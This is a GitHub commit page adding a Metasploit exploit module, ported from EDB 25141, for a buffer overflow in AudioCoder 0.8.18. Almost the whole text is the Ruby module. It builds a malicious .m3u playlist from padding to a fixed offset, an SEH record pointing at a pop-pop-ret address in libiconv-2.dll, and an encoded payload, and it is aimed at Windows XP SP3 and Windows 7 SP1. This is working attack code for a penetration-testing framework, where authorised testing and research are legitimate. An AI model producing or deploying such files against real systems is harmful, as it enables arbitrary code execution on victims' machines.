Skip to content

Commit 6210b42

Browse files
author
jvazquez-r7
committed
Port EDB 25141 to msf
1 parent a2e1fbe commit 6210b42

File tree

1 file changed

+76
-0
lines changed

1 file changed

+76
-0
lines changed
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
include Msf::Exploit::Seh
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'AudioCoder .M3U Buffer Overflow',
19+
'Description' => %q{
20+
This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
21+
occurs when adding an .m3u, allowing arbitrary code execution with the privileges
22+
of the user running AudioCoder. This module has been tested successfully on
23+
AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'metacom', # Vulnerability discovery and PoC
29+
'juan vazquez' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'EDB', '25141' ]
34+
],
35+
'DefaultOptions' =>
36+
{
37+
'EXITFUNC' => 'process'
38+
},
39+
'Platform' => 'win',
40+
'Payload' =>
41+
{
42+
'Space' => 6596,
43+
'BadChars' => "\x00\x5c\x40\x0d\x0a",
44+
'DisableNops' => true,
45+
'StackAdjustment' => -3500,
46+
},
47+
48+
'Targets' =>
49+
[
50+
[ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
51+
{
52+
'Ret' => 0x66011b56, # ppr from libiconv-2.dll
53+
'Offset' => 765
54+
}
55+
]
56+
],
57+
'Privileged' => false,
58+
'DisclosureDate' => 'May 01 2013',
59+
'DefaultTarget' => 0))
60+
61+
register_options(
62+
[
63+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
64+
], self.class)
65+
66+
end
67+
68+
def exploit
69+
buffer = "http://"
70+
buffer << rand_text(target['Offset'])
71+
buffer << generate_seh_record(target.ret)
72+
buffer << payload.encoded
73+
74+
file_create(buffer)
75+
end
76+
end

0 commit comments

Comments
 (0)